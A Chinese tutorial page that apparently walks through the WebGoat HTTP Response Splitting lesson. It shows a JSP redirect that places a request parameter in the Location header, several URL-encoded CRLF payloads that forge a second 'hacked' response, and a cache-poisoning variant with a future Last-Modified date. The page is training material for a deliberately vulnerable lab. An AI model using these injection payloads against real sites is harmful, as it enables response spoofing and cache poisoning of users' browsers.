来源:自学PHP网 时间:2015-04-17 10:16 作者: 阅读:次
[导读] 发现很多人在学习WebGoat上的HTTP Splitting教程之后有些疑惑,所以我也就在这里讨论一下这个问题。HTTP Response Splitting翻译为HTTP应答拆分,是利用Web应用程序缺乏有效的输入验证,允许攻...
发现很多人在学习WebGoat上的HTTP Splitting教程之后有些疑惑,所以我也就在这里讨论一下这个问题。
<% Response.sendRedirect(“/by_lang.jsp?lang=”+request.getParameter(“lang”)); %>
<% Response.sendRedirect(“/by_lang.jsp?lang=”+request.getParameter(“lang”)); %>
从以上可以看到的是:输入的参数(english)已经提交到HTTP头中,这样我们就可以构造特殊的字符来拆分HTTP头,并到其后追加一个自己构造的头。比如我们提交如下的参数(已经过URLEncoding): foobar%0d%0aContent-Length:%200%0d%0a%0d%oaHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%Content-Length:%2019%0d%0a%0d%0a<html>Hacked</html>
foobar%0d%0aContent-Length:%200%0d%0a%0d%oaHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%Content-Length:%2019%0d%0a%0d%0a<html>Hacked</html>
其中第一个响应是302 重定向的响应,第二个响应是我们自己构造的响应。当客户端收到第一个响应之后会像相应头的Location指向的目标发起第二个请求,而这个时候客户端会认为第二个响应正是针对第二个请求的响应,从而达到了欺骗的目的。
我们可以进一步通过渗透性测试来判断是否真的存在这样的漏洞。首先来看看正常情况下服务器的响应信息如下: HTTP/1.1 302 Moved Temporarily Server: Apache-Coyote/1.1 Location: http://localhost/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&language=test Content-Type: text/html;charset=ISO-8859-1 Content-length: 0 Date: Fri, 03 Aug 2012 06:52:48 GMT
那么中间从test到</html>的部分就是我们将要提交的内容,把这部分内容进行一下URLEncode之后转换成如下形式: test%0d%0aContent-length%3a+0%0d%0a%0d%0aHTTP%2f1.1+200+OK%0d%0aContent-Type%3a+text%2fhtml%3b%0d%0aContent-length%3a+19%0d%0a%0d%0a%26lt%3bhtml%26gt%3bhacked%26lt%3b%2fhtml%26gt%3b
test%0d%0aContent-length%3a+0%0d%0a%0d%0aHTTP%2f1.1+200+OK%0d%0aContent-Type%3a+text%2fhtml%3b%0d%0aContent-length%3a+19%0d%0a%0d%0a%26lt%3bhtml%26gt%3bhacked%26lt%3b%2fhtml%26gt%3b
刷新一下进入课程的第二阶段,课程的第二阶段要求我们能进一步污染受害者的缓存。为了做到这一点,我们需要在前面提交的参数中,自己伪造的HTTP响应头中添加一个Last-Modified字段,并且把它的值设为一个未来的值。这样当浏览器在下次请求同一个页面的时候发送If-Modified-Since字段并且这个值是一个未来的值,服务器在发现这个值大于该页面最后修改时间之后将返回HTTP的304响应码表示该页面没有更新过,从而达到了污染受害者缓存的目的。下面就是我们希望的能够污染受害者缓存的服务器响应,其中同样从test到</html>部分就是我们需要提交的参数: HTTP/1.1 302 Moved Temporarily Server: Apache-Coyote/1.1 Location: http://localhost/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&language=test Content-length: 0 HTTP/1.1 200 OK Content-Type: text/html; Last-Modified: Thu, 01 Jan 2099 12:00:00 GMT Content-length: 19 <html>hacked</html> Content-Type: text/html;charset=ISO-8859-1 Content-length: 0 Date: Fri, 03 Aug 2012 06:52:48 GMT
test%0d%0aContent-length%3a+0%0d%0a%0d%0aHTTP%2f1.1+200+OK%0d%0aContent-Type%3a+text%2fhtml%3b%0d%0aLast-Modified%3a+Thu%2c+01+Jan+2099+12%3a00%3a00+GMT+%0d%0aContent-length%3a+19%0d%0a%0d%0a%26lt%3bhtml%26gt%3bhacked%26lt%3b%2fhtml%26gt%3b
这边有个需要特别提出来解释一下的地方。可能有些细心的人已经发现了,当我们在WebGoat中提交上面所说的内容之后服务器真实的响应如下: HTTP/1.1 302 Moved Temporarily Server: Apache-Coyote/1.1 Location: http://localhost/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&language=test%0d%0aContent-length%3a+0%0d%0a%0d%0aHTTP%2f1.1+200+OK%0d%0aContent-Type%3a+text%2fhtml%3b%0d%0aContent-length%3a+19%0d%0a%0d%0a%26lt%3bhtml%26gt%3bhacked%26lt%3b%2fhtml%26gt%3b%0d%0a Content-Type: text/html;charset=ISO-8859-1 Content-length: 0 Date: Fri, 03 Aug 2012 08:53:22 GMT
<%@ page contentType="text/html; charset=UTF-8"%> <% String user_language = request.getParameter("user_language"); System.out.println(user_language); response.sendRedirect("/"+user_language+".jsp"); %>
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com